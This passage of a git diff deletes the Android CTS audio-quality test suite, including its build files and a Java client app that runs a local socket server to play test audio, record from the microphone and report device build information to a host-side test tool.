-$(CTS_AUDIO_QUALITY_ZIP): PRIVATE_TEST_DESC := $(CTS_AUDIO_TOP)/test_description
-$(CTS_AUDIO_QUALITY_ZIP): $(cts_audio_quality_client_apk) $(cts_audio_quality_host_bins) \
-    $(CTS_AUDIO_TOP)/test_description | $(ACP)
-	$(hide) rm -rf $@ $(CTS_AUDIO_INSTALL_DIR)
-	$(hide) mkdir -p $(CTS_AUDIO_INSTALL_DIR)/client
-	$(hide) $(ACP) -fp $(PRIVATE_CLIENT_APK) \
-        $(CTS_AUDIO_INSTALL_DIR)/client
-	$(hide) $(ACP) -fp $(PRIVATE_HOST_BINS) $(CTS_AUDIO_INSTALL_DIR)
-	$(hide) $(ACP) -fr $(PRIVATE_TEST_DESC) $(CTS_AUDIO_INSTALL_DIR)
-	$(hide) echo "Package cts_audio: $@"
-	$(hide) cd $(dir $@) && \
-        zip -rq $(notdir $@) android-cts-audio-quality -x android-cts-audio-quality/reports/\*
-
-cts_audio_quality_client_apk :=
-cts_audio_quality_host_bins :=
-
-# target to build only this package
-.PHONY: cts_audio_quality_package
-cts_audio_quality_package: $(CTS_AUDIO_QUALITY_ZIP)
-
-cts: $(CTS_AUDIO_QUALITY_ZIP)
-
-$(call dist-for-goals, cts, $(CTS_AUDIO_QUALITY_ZIP))
-
-endif # linux
diff --git a/suite/audio_quality/BUILD.txt b/suite/audio_quality/BUILD.txt
deleted file mode 100644
index eff8074..0000000
--- a/suite/audio_quality/BUILD.txt
+++ /dev/null
@@ -1,7 +0,0 @@
-C++: No special library required in host side, but gcc/g++ and std c++ library should be present.
-Python : version 2.6.5 or higher (should be /usr/bin/python)
-Necessary Python libraries:
-	- Python SciPy, NumPy
-	sudo apt-get install python-scipy python-numpy python-matplotlib
-
-run make cts_audio frop top dir.
\ No newline at end of file
diff --git a/suite/audio_quality/client/Android.mk b/suite/audio_quality/client/Android.mk
deleted file mode 100644
index edef96b..0000000
--- a/suite/audio_quality/client/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-#
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAudioClient
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-LOCAL_PROGUARD_FLAG_FILES := proguard.cfg
-
-# intentional to keep compatibility with ICS
-LOCAL_SDK_VERSION := 15
-
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_PACKAGE)
diff --git a/suite/audio_quality/client/AndroidManifest.xml b/suite/audio_quality/client/AndroidManifest.xml
deleted file mode 100644
index ad6eca1..0000000
--- a/suite/audio_quality/client/AndroidManifest.xml
+++ /dev/null
@@ -1,36 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="com.android.cts.audiotest">
-<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
-<uses-permission android:name="android.permission.INTERNET"/>
-<uses-permission android:name="android.permission.RECORD_AUDIO"/>
-
-    <application android:label="@string/app_name">
-        <activity android:name=".CtsAudioClientActivity"
-             android:label="@string/app_name"
-             android:configChanges="keyboard|keyboardHidden|orientation|screenSize|uiMode"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-        </activity>
-    </application>
-
-</manifest>
diff --git a/suite/audio_quality/client/proguard.cfg b/suite/audio_quality/client/proguard.cfg
deleted file mode 100644
index 3d6191f..0000000
--- a/suite/audio_quality/client/proguard.cfg
+++ /dev/null
@@ -1,33 +0,0 @@
--optimizationpasses 5
--dontusemixedcaseclassnames
--dontskipnonpubliclibraryclasses
--dontpreverify
--verbose
--optimizations !code/simplification/arithmetic,!field/*,!class/merging/*
-
--keep public class * extends android.app.Activity
-
--keepclasseswithmembernames class * {
-    native <methods>;
-}
-
--keepclasseswithmembers class * {
-    public <init>(android.content.Context, android.util.AttributeSet);
-}
-
--keepclasseswithmembers class * {
-    public <init>(android.content.Context, android.util.AttributeSet, int);
-}
-
--keepclassmembers class * extends android.app.Activity {
-   public void *(android.view.View);
-}
-
--keepclassmembers enum * {
-    public static **[] values();
-    public static ** valueOf(java.lang.String);
-}
-
--keep class * implements android.os.Parcelable {
-  public static final android.os.Parcelable$Creator *;
-}
diff --git a/suite/audio_quality/client/res/layout/main.xml b/suite/audio_quality/client/res/layout/main.xml
deleted file mode 100644
index 60ef9c8..0000000
--- a/suite/audio_quality/client/res/layout/main.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-    android:orientation="vertical" >
-</LinearLayout>
\ No newline at end of file
diff --git a/suite/audio_quality/client/res/values/strings.xml b/suite/audio_quality/client/res/values/strings.xml
deleted file mode 100644
index b17566c..0000000
--- a/suite/audio_quality/client/res/values/strings.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources>
-    <string name="app_name">CtsAudioClient</string>
-</resources>
\ No newline at end of file
diff --git a/suite/audio_quality/client/src/com/android/cts/audiotest/AudioProtocol.java b/suite/audio_quality/client/src/com/android/cts/audiotest/AudioProtocol.java
deleted file mode 100644
index 3c45a8a..0000000
--- a/suite/audio_quality/client/src/com/android/cts/audiotest/AudioProtocol.java
+++ /dev/null
@@ -1,580 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.audiotest;
-
-import android.app.Activity;
-import  android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioRecord;
-import android.media.MediaRecorder.AudioSource;
-import android.media.AudioTrack;
-import android.os.Build;
-import android.os.Looper;
-import android.util.Log;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.lang.Thread;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.net.SocketTimeoutException;
-import java.nio.ByteBuffer;
-import java.util.HashMap;
-import java.util.concurrent.locks.ReentrantLock;
-
-
-public class AudioProtocol implements AudioTrack.OnPlaybackPositionUpdateListener {
-    private static final String TAG = "AudioProtocol";
-    private static final int PORT_NUMBER = 15001;
-
-    private Thread mThread = new Thread(new ProtocolServer());
-    private boolean mExitRequested = false;
-
-    private static final int PROTOCOL_HEADER_SIZE = 8; // id + payload length
-    private static final int MAX_NON_DATA_PAYLOAD_SIZE = 20;
-    private static final int PROTOCOL_SIMPLE_REPLY_SIZE = 12;
-    private static final int PROTOCOL_OK = 0;
-    private static final int PROTOCOL_ERROR_WRONG_PARAM = 1;
-    private static final int PROTOCOL_ERROR_GENERIC = 2;
-
-    private static final int CMD_DOWNLOAD        = 0x12340001;
-    private static final int CMD_START_PLAYBACK  = 0x12340002;
-    private static final int CMD_STOP_PLAYBACK   = 0x12340003;
-    private static final int CMD_START_RECORDING = 0x12340004;
-    private static final int CMD_STOP_RECORDING  = 0x12340005;
-    private static final int CMD_GET_DEVICE_INFO = 0x12340006;
-
-    private ByteBuffer mHeaderBuffer = ByteBuffer.allocate(PROTOCOL_HEADER_SIZE);
-    private ByteBuffer mDataBuffer = ByteBuffer.allocate(MAX_NON_DATA_PAYLOAD_SIZE);
-    private ByteBuffer mReplyBuffer = ByteBuffer.allocate(PROTOCOL_SIMPLE_REPLY_SIZE);
-
-    // all socket access (accept / read) set this timeout to check exit periodically.
-    private static final int SOCKET_ACCESS_TIMEOUT = 2000;
-    private Socket mClient = null;
-    private InputStream mInput = null;
-    private OutputStream mOutput = null;
-    // lock to use to write to socket, I/O streams, and also change socket (create, destroy)
-    private ReentrantLock mClientLock = new ReentrantLock();
-
-    private AudioRecord mRecord = null;
-    private LoopThread mRecordThread = null;
-    private AudioTrack mPlayback = null;
-    private LoopThread mPlaybackThread = null;
-    // store recording length
-    private int mRecordingLength = 0;
-
-    // map for playback data
-    private HashMap<Integer, ByteBuffer> mDataMap = new HashMap<Integer, ByteBuffer>();
-
-    public boolean start() {
-        Log.d(TAG, "start");
-        mExitRequested = false;
-        mThread.start();
-        //Log.d(TAG, "started");
-        return true;
-    }
-
-    public void stop() throws InterruptedException {
-        Log.d(TAG, "stop");
-        mExitRequested = true;
-        try {
-            mClientLock.lock();
-            if (mClient != null) {
-                // wake up from socket read
-                mClient.shutdownInput();
-            }
-        }catch (IOException e) {
-                // ignore
-        } finally {
-            mClientLock.unlock();
-        }
-        mThread.interrupt(); // this does not bail out from socket in android
-        mThread.join();
-        reset();
-        Log.d(TAG, "stopped");
-    }
-
-    @Override
-    public void onMarkerReached(AudioTrack track) {
-        Log.d(TAG, "playback completed");
-        track.stop();
-        track.flush();
-        track.release();
-        mPlaybackThread.quitLoop();
-        mPlaybackThread = null;
-        try {
-            sendSimpleReplyHeader(CMD_START_PLAYBACK, PROTOCOL_OK);
-        } catch (IOException e) {
-            // maybe socket already closed. don't do anything
-            Log.e(TAG, "ignore exception", e);
-        }
-    }
-
-    @Override
-    public void onPeriodicNotification(AudioTrack arg0) {
-        Log.d(TAG, "track periodic notification");
-        // TODO Auto-generated method stub
-    }
-
-    /**
-     * Read given amount of data to the buffer
-     * @param in
-     * @param buffer
-     * @param len length to read
-     * @return true if header read successfully, false if exit requested
-     * @throws IOException
-     * @throws ExitRequest
-     */
-    private void read(InputStream in, ByteBuffer buffer, int len) throws IOException, ExitRequest {
-        buffer.clear();
-        int totalRead = 0;
-        while (totalRead < len) {
-            int readNow = in.read(buffer.array(), totalRead, len - totalRead);
-            if (readNow < 0) { // end-of-stream, error
-                Log.e(TAG, "read returned " + readNow);
-                throw new IOException();
-            }
-            totalRead += readNow;
-            if(mExitRequested) {
-                throw new ExitRequest();
-            }
-        }
-    }
-
-    private class ProtocolError  extends Exception {
-        public ProtocolError(String message) {
-            super(message);
-        }
-    }
-
-    private class ExitRequest extends Exception {
-        public ExitRequest() {
-            super();
-        }
-    }
-
-    private void assertProtocol(boolean cond, String message) throws ProtocolError {
-        if (!cond) {
-            throw new ProtocolError(message);
-        }
-    }
-
-    private void reset() {
-        // lock only when it is not already locked by this thread
-        if (mClientLock.getHoldCount() == 0) {
-            mClientLock.lock();
-        }
-        if (mClient != null) {
-            try {
-                mClient.close();
-            } catch (IOException e) {
-                // ignore
-            }
-            mClient = null;
-        }
-        mInput = null;
-        mOutput = null;
-        while (mClientLock.getHoldCount() > 0) {
-            mClientLock.unlock();
-        }
-        if (mRecord != null) {
-            if (mRecord.getState() != AudioRecord.STATE_UNINITIALIZED) {
-                mRecord.stop();
-            }
-            mRecord.release();
-            mRecord = null;
-        }
-        if (mRecordThread != null) {
-            mRecordThread.quitLoop();
-            mRecordThread = null;
-        }
-        if (mPlayback != null) {
-            if (mPlayback.getState() != AudioTrack.STATE_UNINITIALIZED) {
-                mPlayback.stop();
-                mPlayback.flush();
-            }
-            mPlayback.release();
-            mPlayback = null;
-        }
-        if (mPlaybackThread != null) {
-            mPlaybackThread.quitLoop();
-            mPlaybackThread = null;
-        }
-        mDataMap.clear();
-    }
-
-    private void handleDownload(int len) throws IOException, ExitRequest {
-        read(mInput, mDataBuffer, 4); // only for id
-        Integer id  = new Integer(mDataBuffer.getInt(0));
-        int dataLength = len - 4;
-        ByteBuffer data = ByteBuffer.allocate(dataLength);
-        read(mInput, data, dataLength);
-        mDataMap.put(id, data);
-        Log.d(TAG, "downloaded data id " + id + " len " + dataLength);
-        sendSimpleReplyHeader(CMD_DOWNLOAD, PROTOCOL_OK);
-    }
-
-    private void handleStartPlayback(int len) throws ProtocolError, IOException, ExitRequest {
-        // this error is too critical, so do not even send reply
-        assertProtocol(len == 20, "wrong payload len");
-        read(mInput, mDataBuffer, len);
-        final Integer id = new Integer(mDataBuffer.getInt(0));
-        final int samplingRate = mDataBuffer.getInt(1 * 4);
-        final boolean stereo = ((mDataBuffer.getInt(2 * 4) & 0x80000000) != 0);
-        final int mode = mDataBuffer.getInt(2 * 4) & 0x7fffffff;
-        final int volume = mDataBuffer.getInt(3 * 4);
-        final int repeat = mDataBuffer.getInt(4 * 4);
-        try {
-            final ByteBuffer data = mDataMap.get(id);
-            if (data == null) {
-                throw new ProtocolError("wrong id");
-            }
-            if (samplingRate != 44100) {
-                throw new ProtocolError("wrong rate");
-            }
-            //FIXME in MODE_STATIC, setNotificationMarkerPosition does not work with full length
-            mPlaybackThread = new LoopThread(new Runnable() {
-
-                @Override
-                public void run() {
-                    if (mPlayback != null) {
-                        mPlayback.release();
-                        mPlayback = null;
-                    }
-                    // STREAM_VOICE_CALL activates different speaker.
-                    // use MUSIC mode to activate the louder speaker.
-                    int type = AudioManager.STREAM_MUSIC;
-                    int bufferSize = AudioTrack.getMinBufferSize(samplingRate,
-                            stereo ? AudioFormat.CHANNEL_OUT_STEREO : AudioFormat.CHANNEL_OUT_MONO,
-                            AudioFormat.ENCODING_PCM_16BIT);
-                    bufferSize = bufferSize * 4;
-                    if (bufferSize < 256 * 1024) {
-                        bufferSize = 256 * 1024;
-                    }
-                    if (bufferSize > data.capacity()) {
-                        bufferSize = data.capacity();
-                    }
-                    mPlayback = new AudioTrack(type, samplingRate,
-                            stereo ? AudioFormat.CHANNEL_OUT_STEREO : AudioFormat.CHANNEL_OUT_MONO,
-                            AudioFormat.ENCODING_PCM_16BIT, bufferSize,
-                            AudioTrack.MODE_STREAM);
-                    float minVolume = mPlayback.getMinVolume();
-                    float maxVolume = mPlayback.getMaxVolume();
-                    float newVolume = (maxVolume - minVolume) * volume / 100 + minVolume;
-                    mPlayback.setStereoVolume(newVolume, newVolume);
-                    Log.d(TAG, "setting volume " + newVolume + " max " + maxVolume +
-                            " min " + minVolume + " received " + volume);
-                    int dataWritten = 0;
-                    int dataToWrite = (bufferSize < data.capacity())? bufferSize : data.capacity();
-                    mPlayback.write(data.array(), 0, dataToWrite);
-                    dataWritten = dataToWrite;
-                    mPlayback.setPlaybackPositionUpdateListener(AudioProtocol.this);
-
-                    int endMarker = data.capacity()/(stereo ? 4 : 2);
-                    int res = mPlayback.setNotificationMarkerPosition(endMarker);
-                    Log.d(TAG, "start playback id " + id + " len " + data.capacity() +
-                            " set.. res " + res + " stereo? " + stereo + " mode " + mode +
-                            " end " + endMarker);
-                    mPlayback.play();
-                    while (dataWritten < data.capacity()) {
-                        int dataLeft = data.capacity() - dataWritten;
-                        dataToWrite = (bufferSize < dataLeft)? bufferSize : dataLeft;
-                        if (mPlayback == null) { // stopped
-                            return;
-                        }
-                        mPlayback.write(data.array(), dataWritten, dataToWrite);
-                        dataWritten += dataToWrite;
-                    }
-                }
-            });
-            mPlaybackThread.start();
-            // send reply when play is completed
-        } catch (ProtocolError e) {
-            sendSimpleReplyHeader(CMD_START_PLAYBACK, PROTOCOL_ERROR_WRONG_PARAM);
-            Log.e(TAG, "wrong param", e);
-        }
-    }
-
-    private void handleStopPlayback(int len) throws ProtocolError, IOException {
-        Log.d(TAG, "stopPlayback");
-        assertProtocol(len == 0, "wrong payload len");
-        if (mPlayback != null) {
-            Log.d(TAG, "release AudioTrack");
-            mPlayback.stop();
-            mPlayback.flush();
-            mPlayback.release();
-            mPlayback = null;
-        }
-        if (mPlaybackThread != null) {
-            mPlaybackThread.quitLoop();
-            mPlaybackThread = null;
-        }
-        sendSimpleReplyHeader(CMD_STOP_PLAYBACK, PROTOCOL_OK);
-    }
-
-    private void handleStartRecording(int len) throws ProtocolError, IOException, ExitRequest {
-        assertProtocol(len == 16, "wrong payload len");
-        read(mInput, mDataBuffer, len);
-        final int samplingRate = mDataBuffer.getInt(0);
-        final boolean stereo = ((mDataBuffer.getInt(1 * 4) & 0x80000000) != 0);
-        final int mode = mDataBuffer.getInt(1 * 4) & 0x7fffffff;
-        final int volume = mDataBuffer.getInt(2 * 4);
-        final int samples = mDataBuffer.getInt(3 * 4);
-        try {
-            if (samplingRate != 44100) {
-                throw new ProtocolError("wrong rate");
-            }
-            if (stereo) {
-                throw new ProtocolError("mono only");
-            }
-            //TODO volume ?
-            mRecordingLength = samples * 2;
-            mRecordThread = new LoopThread(new Runnable() {
-
-                @Override
-                public void run() {
-                    int minBufferSize = AudioRecord.getMinBufferSize(samplingRate,
-                            AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT);
-                    int type = (mode == 0) ? AudioSource.VOICE_RECOGNITION : AudioSource.DEFAULT;
-                    mRecord = new AudioRecord(type, samplingRate,
-                            AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT,
-                            (minBufferSize > mRecordingLength) ? minBufferSize : mRecordingLength);
-
-                    mRecord.startRecording();
-                    Log.d(TAG, "recording started " + " samples " + samples + " mode " + mode +
-                            " recording state " + mRecord.getRecordingState() + " len " +
-                            mRecordingLength);
-                    try {
-                        boolean recordingOk = true;
-                        byte[] data = new byte[mRecordingLength];
-                        int totalRead = 0;
-                        while (totalRead < mRecordingLength) {
-                            int lenRead = mRecord.read(data, 0, (mRecordingLength - totalRead));
-                            if (lenRead < 0) {
-                                Log.e(TAG, "reading recording failed with error code " + lenRead);
-                                recordingOk = false;
-                                break;
-                            } else if (lenRead == 0) {
-                                Log.w(TAG, "zero read");
-                            }
-                            totalRead += lenRead;
-                        }
-                        Log.d(TAG, "reading recording completed");
-                        sendReplyWithData(
-                                CMD_START_RECORDING,
-                                recordingOk ? PROTOCOL_OK : PROTOCOL_ERROR_GENERIC,
-                                recordingOk ? mRecordingLength : 0,
-                                recordingOk ? data : null);
-                    } catch (IOException e) {
-                        // maybe socket already closed. don't do anything
-                        Log.e(TAG, "ignore exception", e);
-                    } finally {
-                        mRecord.stop();
-                        mRecord.release();
-                        mRecord = null;
-                    }
-                }
-             });
-            mRecordThread.start();
-        } catch (ProtocolError e) {
-            sendSimpleReplyHeader(CMD_START_RECORDING, PROTOCOL_ERROR_WRONG_PARAM);
-            Log.e(TAG, "wrong param", e);
-        }
-    }
-
-    private void handleStopRecording(int len) throws ProtocolError, IOException {
-        Log.d(TAG, "stop recording");
-        assertProtocol(len == 0, "wrong payload len");
-        if (mRecord != null) {
-            mRecord.stop();
-            mRecord.release();
-            mRecord = null;
-        }
-        if (mRecordThread != null) {
-            mRecordThread.quitLoop();
-            mRecordThread = null;
-        }
-        sendSimpleReplyHeader(CMD_STOP_RECORDING, PROTOCOL_OK);
-    }
-
-    private static final String BUILD_INFO_TAG = "build-info";
-
-    private void appendAttrib(StringBuilder builder, String name, String value) {
-        builder.append(" " + name + "=\"" + value + "\"");
-    }
-
-    private void handleGetDeviceInfo(int len) throws ProtocolError, IOException{
-        Log.d(TAG, "getDeviceInfo");
-        assertProtocol(len == 0, "wrong payload len");
-        StringBuilder builder = new StringBuilder();
-        builder.append("<build-info");
-        appendAttrib(builder, "board", Build.BOARD);
-        appendAttrib(builder, "brand", Build.BRAND);
-        appendAttrib(builder, "device", Build.DEVICE);
-        appendAttrib(builder, "display", Build.DISPLAY);
-        appendAttrib(builder, "fingerprint", Build.FINGERPRINT);
-        appendAttrib(builder, "id", Build.ID);
-        appendAttrib(builder, "model", Build.MODEL);
-        appendAttrib(builder, "product", Build.PRODUCT);
-        appendAttrib(builder, "release", Build.VERSION.RELEASE);
-        appendAttrib(builder, "sdk", Integer.toString(Build.VERSION.SDK_INT));
-        builder.append(" />");
-        byte[] data = builder.toString().getBytes();
-
-        sendReplyWithData(CMD_GET_DEVICE_INFO, PROTOCOL_OK, data.length, data);
-    }
-    /**
-     * send reply without payload.
-     * This function is thread-safe.
-     * @param out
-     * @param command
-     * @param errorCode
-     * @throws IOException
-     */
-    private void sendSimpleReplyHeader(int command, int errorCode) throws IOException {
-        Log.d(TAG, "sending reply cmd " + command + " err " + errorCode);
-        sendReplyWithData(command, errorCode, 0, null);
-    }
-
-    private void sendReplyWithData(int cmd, int errorCode, int len, byte[] data) throws IOException {
-        try {
-            mClientLock.lock();
-            mReplyBuffer.clear();
-            mReplyBuffer.putInt((cmd & 0xffff) | 0x43210000);
-            mReplyBuffer.putInt(errorCode);
-            mReplyBuffer.putInt(len);
-
-            if (mOutput != null) {
-                mOutput.write(mReplyBuffer.array(), 0, PROTOCOL_SIMPLE_REPLY_SIZE);
-                if (data != null) {
-                    mOutput.write(data, 0, len);
-                }
-            }
-        } catch (IOException e) {
-            throw e;
-        } finally {
-            mClientLock.unlock();
-        }
-    }
-    private class LoopThread extends Thread {
-        private Looper mLooper;
-        LoopThread(Runnable runnable) {
-            super(runnable);
-        }
-        public void run() {
-            Looper.prepare();
-            mLooper = Looper.myLooper();
-            Log.d(TAG, "run runnable");
-            super.run();
-            //Log.d(TAG, "loop");
-            Looper.loop();
-        }
-        // should be called outside this thread
-        public void quitLoop() {
-            mLooper.quit();
-            try {
-                if (Thread.currentThread() != this) {
-                    join();
-                }
-            } catch (InterruptedException e) {
-                // ignore
-            }
-            Log.d(TAG, "quit thread");
-        }
-    }
-
-    private class ProtocolServer implements Runnable {
-
-        @Override
-        public void run() {
-            ServerSocket server = null;
-
-            try { // for catching exception from ServerSocket
-                Log.d(TAG, "get new server socket");
-                server = new ServerSocket(PORT_NUMBER);
-                server.setReuseAddress(true);
-                server.setSoTimeout(SOCKET_ACCESS_TIMEOUT);
-                while (!mExitRequested) {
-                    //TODO check already active recording/playback
-                    try { // for catching exception from Socket, will restart upon exception
-                        try {
-                            mClientLock.lock();
-                            //Log.d(TAG, "will accept");
-                            mClient = server.accept();
-                            mClient.setReuseAddress(true);
-                            mInput = mClient.getInputStream();
-                            mOutput = mClient.getOutputStream();
-                        } catch (SocketTimeoutException e) {
-                            // This will happen frequently if client does not connect.
-                            // just re-start
-                            continue;
-                        } finally {
-                            mClientLock.unlock();
-                        }
-                        Log.i(TAG, "new client connected");
-                        while (!mExitRequested) {
-                            read(mInput, mHeaderBuffer, PROTOCOL_HEADER_SIZE);
-                            int command = mHeaderBuffer.getInt();
-                            int len = mHeaderBuffer.getInt();
-                            Log.i(TAG, "received command " + command);
-                            switch(command) {
-                            case CMD_DOWNLOAD:
-                                handleDownload(len);
-                                break;
-                            case CMD_START_PLAYBACK:
-                                handleStartPlayback(len);
-                                break;
-                            case CMD_STOP_PLAYBACK:
-                                handleStopPlayback(len);
-                                break;
-                            case CMD_START_RECORDING:
-                                handleStartRecording(len);
-                                break;
-                            case CMD_STOP_RECORDING:
-                                handleStopRecording(len);
-                                break;
-                            case CMD_GET_DEVICE_INFO:
-                                handleGetDeviceInfo(len);
-                            }
-                        }
-                    } catch (IOException e) {
-                        Log.e(TAG, "restart from exception", e);
-                    } catch (ProtocolError e) {
-                        Log.e(TAG, "restart from exception",  e);
-                    } finally {
-                        reset();
-                    }
-                }
-            } catch (ExitRequest e) {
-                Log.e(TAG, "exit requested, will exit", e);
-            } catch (IOException e) {
-                // error in server socket, just exit the thread and let things fail.
-                Log.e(TAG, "error while init, will exit", e);
-            } finally {
-                if (server != null) {
-                    try {
-                        server.close();
-                    } catch (IOException e) {
-                        // ignore
-                    }
-                }
-                reset();
-            }
-        }
-    }
-}
diff --git a/suite/audio_quality/client/src/com/android/cts/audiotest/CtsAudioClientActivity.java b/suite/audio_quality/client/src/com/android/cts/audiotest/CtsAudioClientActivity.java
deleted file mode 100644
index 7fc4960..0000000
--- a/suite/audio_quality/client/src/com/android/cts/audiotest/CtsAudioClientActivity.java
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.audiotest;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.content.Context;
-import android.media.AudioManager;
-import android.os.Bundle;
-
-
-public class CtsAudioClientActivity extends Activity {
-    private AudioProtocol mProtocol = null;
-    int mVolumeMusic;
-    int mVolumeVoice;
-    @Override
-    protected void onPause() {
-        try {
-            mProtocol.stop();
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-        mProtocol = null;
-        setVolume(AudioManager.STREAM_MUSIC, mVolumeMusic);
-        setVolume(AudioManager.STREAM_VOICE_CALL, mVolumeVoice);
-        super.onPause();
-    }
-
-    @Override
-    protected void onResume() {
-        // set volume to max
-        mVolumeMusic = setVolume(AudioManager.STREAM_MUSIC, -1);
-        mVolumeVoice = setVolume(AudioManager.STREAM_VOICE_CALL, -1);
-        mProtocol = new AudioProtocol();
-        mProtocol.start();
-        super.onResume();
-    }
-
-    /** Called when the activity is first created. */
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.main);
-        KeyguardManager keyguardManager =
-            (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
-        keyguardManager.newKeyguardLock("cts-audio").disableKeyguard();
-    }
-
-    /**
-     * set volume to desired level
-     * @param level target level, if -1, set to max
-     * @return the original volume level
-     */
-    int setVolume(int stream, int level) {
-        AudioManager mgr = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-        mgr.setStreamMute(stream, false);
-        int original = mgr.getStreamVolume(AudioManager.STREAM_MUSIC);
-        int targetLevel = level;
-        if (level == -1) {
-            targetLevel = mgr.getStreamMaxVolume(stream);
-        }
-        mgr.setStreamVolume(stream, targetLevel, 0);
-        return original;
-    }
-}
\ No newline at end of file
diff --git a/suite/audio_quality/executable/Android.bp b/suite/audio_quality/executable/Android.bp
deleted file mode 100644
index dff1431..0000000
--- a/suite/audio_quality/executable/Android.bp
+++ /dev/null
@@ -1,49 +0,0 @@
-//
-// Copyright (C) 2012 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_binary_host {
-    name: "cts_audio_quality",
-    srcs: ["src/main.cpp"],
-    static_libs: [
-        "libbase",
-        "libutils",
-        "liblog",
-        "libcutils",
-        "libtinyalsa",
-        "libtinyxml2",
-    ],
-    whole_static_libs: ["libcts_audio_quality"],
-    cflags: [
-        "-Wall",
-        "-Werror",
-        "-g",
-        "-fno-exceptions",
-    ],
-    ldflags: [
-        "-g",
-        "-fno-exceptions",
-    ],
-    stl: "libc++_static",
-    target: {
-        darwin: {
-            enabled: false,
-        },
-    },
-}
diff --git a/suite/audio_quality/executable/src/main.cpp b/suite/audio_quality/executable/src/main.cpp
deleted file mode 100644
index 0e969d1..0000000
--- a/suite/audio_quality/executable/src/main.cpp
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
